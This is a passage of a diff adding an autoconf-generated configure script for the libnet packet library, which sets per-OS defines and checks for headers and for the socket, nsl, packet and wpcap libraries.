+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ ac_header_preproc=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ ac_header_preproc=no
+fi
+rm -f conftest.err conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
+echo "${ECHO_T}$ac_header_preproc" >&6
+
+# So? What about this header?
+case $ac_header_compiler:$ac_header_preproc in
+ yes:no )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5
+echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+@%:@@%:@ ------------------------------------ @%:@@%:@
+@%:@@%:@ Report this to bug-autoconf@gnu.org. @%:@@%:@
+@%:@@%:@ ------------------------------------ @%:@@%:@
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+ no:yes )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5
+echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5
+echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+@%:@@%:@ ------------------------------------ @%:@@%:@
+@%:@@%:@ Report this to bug-autoconf@gnu.org. @%:@@%:@
+@%:@@%:@ ------------------------------------ @%:@@%:@
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+esac
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ eval "$as_ac_Header=$ac_header_preproc"
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+
+fi
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+ cat >>confdefs.h <<_ACEOF
+@%:@define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+ \
+ LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DHAVE_NET_ETHERNET_H"
+fi
+
+done
+
+ ;;
+
+*freebsd*)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define LIBNET_BSDISH_OS 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+@%:@define LIBNET_BSD_BYTE_SWAP 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+@%:@define HAVE_SOCKADDR_SA_LEN 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP -DHAVE_SOCKADDR_SA_LEN"
+ ;;
+
+*netbsd*)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define LIBNET_BSDISH_OS 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+@%:@define LIBNET_BSD_BYTE_SWAP 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP"
+ ;;
+
+*openbsd*)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define LIBNET_BSDISH_OS 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+@%:@define HAVE_SOCKADDR_SA_LEN 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS"
+ ;;
+
+*bsdi*)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define LIBNET_BSDISH_OS 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+@%:@define LIBNET_BSD_BYTE_SWAP 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP"
+ ;;
+
+*darwin*)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define HAVE_SOCKADDR_SA_LEN 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-DHAVE_SOCKADDR_SA_LEN"
+ ;;
+
+*solaris*)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define HAVE_SOLARIS 1
+_ACEOF
+
+
+
+for ac_header in sys/bufmod.h sys/dlpi_ext.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+else
+ # Is the header compilable?
+echo "$as_me:$LINENO: checking $ac_header usability" >&5
+echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+$ac_includes_default
+@%:@include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_header_compiler=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_header_compiler=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
+echo "${ECHO_T}$ac_header_compiler" >&6
+
+# Is the header present?
+echo "$as_me:$LINENO: checking $ac_header presence" >&5
+echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+@%:@include <$ac_header>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ ac_header_preproc=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ ac_header_preproc=no
+fi
+rm -f conftest.err conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
+echo "${ECHO_T}$ac_header_preproc" >&6
+
+# So? What about this header?
+case $ac_header_compiler:$ac_header_preproc in
+ yes:no )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5
+echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+@%:@@%:@ ------------------------------------ @%:@@%:@
+@%:@@%:@ Report this to bug-autoconf@gnu.org. @%:@@%:@
+@%:@@%:@ ------------------------------------ @%:@@%:@
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+ no:yes )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5
+echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5
+echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+@%:@@%:@ ------------------------------------ @%:@@%:@
+@%:@@%:@ Report this to bug-autoconf@gnu.org. @%:@@%:@
+@%:@@%:@ ------------------------------------ @%:@@%:@
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+esac
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ eval "$as_ac_Header=$ac_header_preproc"
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+
+fi
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+ cat >>confdefs.h <<_ACEOF
+@%:@define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+
+done
+
+ echo "$as_me:$LINENO: checking for /dev/dlpi device" >&5
+echo $ECHO_N "checking for /dev/dlpi device... $ECHO_C" >&6
+ if test -c /dev/dlpi; then
+ echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+ cat >>confdefs.h <<\_ACEOF
+@%:@define HAVE_DEV_DLPI 1
+_ACEOF
+
+ else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+ dir="/dev/dlpi"
+ echo "$as_me:$LINENO: checking for $dir directory" >&5
+echo $ECHO_N "checking for $dir directory... $ECHO_C" >&6
+ if test -d $dir ; then
+ echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+ cat >>confdefs.h <<_ACEOF
+@%:@define DLPI_DEV_PREFIX "$dir"
+_ACEOF
+
+ else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+ fi
+ fi
+
+echo "$as_me:$LINENO: checking for socket in -lsocket" >&5
+echo $ECHO_N "checking for socket in -lsocket... $ECHO_C" >&6
+if test "${ac_cv_lib_socket_socket+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_check_lib_save_LIBS=$LIBS
+LIBS="-lsocket $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+/* Override any gcc2 internal prototype to avoid an error. */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+char socket ();
+int
+main ()
+{
+socket ();
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest$ac_exeext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_lib_socket_socket=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_socket_socket=no
+fi
+rm -f conftest.$ac_objext conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_socket_socket" >&5
+echo "${ECHO_T}$ac_cv_lib_socket_socket" >&6
+if test $ac_cv_lib_socket_socket = yes; then
+ cat >>confdefs.h <<_ACEOF
+@%:@define HAVE_LIBSOCKET 1
+_ACEOF
+
+ LIBS="-lsocket $LIBS"
+
+else
+ { { echo "$as_me:$LINENO: error: libsocket not found." >&5
+echo "$as_me: error: libsocket not found." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+
+echo "$as_me:$LINENO: checking for gethostbyname in -lnsl" >&5
+echo $ECHO_N "checking for gethostbyname in -lnsl... $ECHO_C" >&6
+if test "${ac_cv_lib_nsl_gethostbyname+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_check_lib_save_LIBS=$LIBS
+LIBS="-lnsl $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+/* Override any gcc2 internal prototype to avoid an error. */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+char gethostbyname ();
+int
+main ()
+{
+gethostbyname ();
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest$ac_exeext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_lib_nsl_gethostbyname=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_nsl_gethostbyname=no
+fi
+rm -f conftest.$ac_objext conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_nsl_gethostbyname" >&5
+echo "${ECHO_T}$ac_cv_lib_nsl_gethostbyname" >&6
+if test $ac_cv_lib_nsl_gethostbyname = yes; then
+ cat >>confdefs.h <<_ACEOF
+@%:@define HAVE_LIBNSL 1
+_ACEOF
+
+ LIBS="-lnsl $LIBS"
+
+else
+ { { echo "$as_me:$LINENO: error: libnsl not found." >&5
+echo "$as_me: error: libnsl not found." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+
+ case "`uname -r`" in
+ 5.4)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define STUPID_SOLARIS_CHECKSUM_BUG 1
+_ACEOF
+
+ ;;
+ 5.5*)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define STUPID_SOLARIS_CHECKSUM_BUG 1
+_ACEOF
+
+ ;;
+ 5.8)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define STUPID_SOLARIS_CHECKSUM_BUG 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+@%:@define HAVE_SOLARIS_IPV6 1
+_ACEOF
+
+ ;;
+ 5.9)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define STUPID_SOLARIS_CHECKSUM_BUG 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+@%:@define HAVE_SOLARIS_IPV6 1
+_ACEOF
+
+ ;;
+
+ esac
+
+ ADDITIONAL_LIBS='-lsocket -lnsl'
+ LIBNET_CONFIG_LIBS="$LIBNET_CONFIG_LIBS -lsocket -lnsl"
+ ;;
+
+*hpux11*)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define HAVE_HPUX11 1
+_ACEOF
+
+
+for ac_header in sys/dlpi_ext.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+else
+ # Is the header compilable?
+echo "$as_me:$LINENO: checking $ac_header usability" >&5
+echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+$ac_includes_default
+@%:@include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_header_compiler=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_header_compiler=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
+echo "${ECHO_T}$ac_header_compiler" >&6
+
+# Is the header present?
+echo "$as_me:$LINENO: checking $ac_header presence" >&5
+echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+@%:@include <$ac_header>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ ac_header_preproc=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ ac_header_preproc=no
+fi
+rm -f conftest.err conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
+echo "${ECHO_T}$ac_header_preproc" >&6
+
+# So? What about this header?
+case $ac_header_compiler:$ac_header_preproc in
+ yes:no )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5
+echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+@%:@@%:@ ------------------------------------ @%:@@%:@
+@%:@@%:@ Report this to bug-autoconf@gnu.org. @%:@@%:@
+@%:@@%:@ ------------------------------------ @%:@@%:@
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+ no:yes )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5
+echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5
+echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+@%:@@%:@ ------------------------------------ @%:@@%:@
+@%:@@%:@ Report this to bug-autoconf@gnu.org. @%:@@%:@
+@%:@@%:@ ------------------------------------ @%:@@%:@
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+esac
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ eval "$as_ac_Header=$ac_header_preproc"
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+
+fi
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+ cat >>confdefs.h <<_ACEOF
+@%:@define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+
+done
+
+ ;;
+
+*cygwin*)
+ cat >>confdefs.h <<\_ACEOF
+@%:@define LIBNET_BSDISH_OS 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+@%:@define NO_SNPRINTF 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DNO_SNPRINTF"
+ CFLAGS="$CFLAGS -mno-cygwin -O0 -fnative-struct -DNO_SNPRINTF -I/usr/include/pcap"
+
+echo "$as_me:$LINENO: checking for PacketSetMode in -lpacket" >&5
+echo $ECHO_N "checking for PacketSetMode in -lpacket... $ECHO_C" >&6
+if test "${ac_cv_lib_packet_PacketSetMode+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_check_lib_save_LIBS=$LIBS
+LIBS="-lpacket $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+/* Override any gcc2 internal prototype to avoid an error. */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+char PacketSetMode ();
+int
+main ()
+{
+PacketSetMode ();
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest$ac_exeext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_lib_packet_PacketSetMode=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_packet_PacketSetMode=no
+fi
+rm -f conftest.$ac_objext conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_packet_PacketSetMode" >&5
+echo "${ECHO_T}$ac_cv_lib_packet_PacketSetMode" >&6
+if test $ac_cv_lib_packet_PacketSetMode = yes; then
+ cat >>confdefs.h <<_ACEOF
+@%:@define HAVE_LIBPACKET 1
+_ACEOF
+
+ LIBS="-lpacket $LIBS"
+
+else
+ { { echo "$as_me:$LINENO: error: packet lib not found." >&5
+echo "$as_me: error: packet lib not found." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+
+echo "$as_me:$LINENO: checking for pcap_setmode in -lwpcap" >&5
+echo $ECHO_N "checking for pcap_setmode in -lwpcap... $ECHO_C" >&6
+if test "${ac_cv_lib_wpcap_pcap_setmode+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_check_lib_save_LIBS=$LIBS
+LIBS="-lwpcap $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+/* Override any gcc2 internal prototype to avoid an error. */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+char pcap_setmode ();
+int
+main ()
+{
+pcap_setmode ();
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest$ac_exeext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_lib_wpcap_pcap_setmode=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_wpcap_pcap_setmode=no
+fi
+rm -f conftest.$ac_objext conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_wpcap_pcap_setmode" >&5
+echo "${ECHO_T}$ac_cv_lib_wpcap_pcap_setmode" >&6
+if test $ac_cv_lib_wpcap_pcap_setmode = yes; then
+ cat >>confdefs.h <<_ACEOF
+@%:@define HAVE_LIBWPCAP 1
+_ACEOF
+
+ LIBS="-lwpcap $LIBS"
+
+else
+ { { echo "$as_me:$LINENO: error: pcap lib not found." >&5
+echo "$as_me: error: pcap lib not found." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+ LIBS="$LIBS -lws2_32"
+ ;;
+
+*)
+ { echo "$as_me:$LINENO: WARNING: apparently your OS is not officially supported yet" >&5
+echo "$as_me: WARNING: apparently your OS is not officially supported yet" >&2;}
+ { echo "$as_me:$LINENO: WARNING: this may not work" >&5
+echo "$as_me: WARNING: this may not work" >&2;}
+ echo "$as_me:$LINENO: result: please send diffs to mike@infonexus.com" >&5
+echo "${ECHO_T}please send diffs to mike@infonexus.com" >&6
+ ;;
+
+esac
+
+ ac_config_files="$ac_config_files Makefile src/Makefile include/Makefile include/libnet/Makefile sample/Makefile version.h include/libnet.h libnet-config"
+ ac_config_commands="$ac_config_commands default"
+cat >confcache <<\_ACEOF
+# This file is a shell script that caches the results of configure
+# tests run on this system so they can be shared between configure
+# scripts and configure runs, see configure's option --config-cache.
+# It is not useful on other systems. If it contains results you don't
+# want to keep, you may remove or edit it.
+#
+# config.status only pays attention to the cache file if you give it
+# the --recheck option to rerun configure.
+#
+# `ac_cv_env_foo' variables (set or unset) will be overridden when
+# loading this file, other *unset* `ac_cv_foo' will be assigned the
+# following values.
+
+_ACEOF
+
+# The following way of writing the cache mishandles newlines in values,
+# but we know of no workaround that is simple, portable, and efficient.
+# So, don't put newlines in cache variables' values.
+# Ultrix sh set writes to stderr and can't be redirected directly,
+# and sets the high bit in the cache file unless we assign to the vars.
+{
+ (set) 2>&1 |
+ case `(ac_space=' '; set | grep ac_space) 2>&1` in
+ *ac_space=\ *)
+ # `set' does not quote correctly, so add quotes (double-quote
+ # substitution turns \\\\ into \\, and sed turns \\ into \).
+ sed -n \
+ "s/'/'\\\\''/g;
+ s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p"
+ ;;
+ *)
+ # `set' quotes correctly as required by POSIX, so do not add quotes.
+ sed -n \
+ "s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1=\\2/p"
+ ;;
+ esac;
+} |
+ sed '
+ t clear
+ : clear
+ s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/
+ t end
+ /^ac_cv_env/!s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/
+ : end' >>confcache
+if diff $cache_file confcache >/dev/null 2>&1; then :; else
+ if test -w $cache_file; then
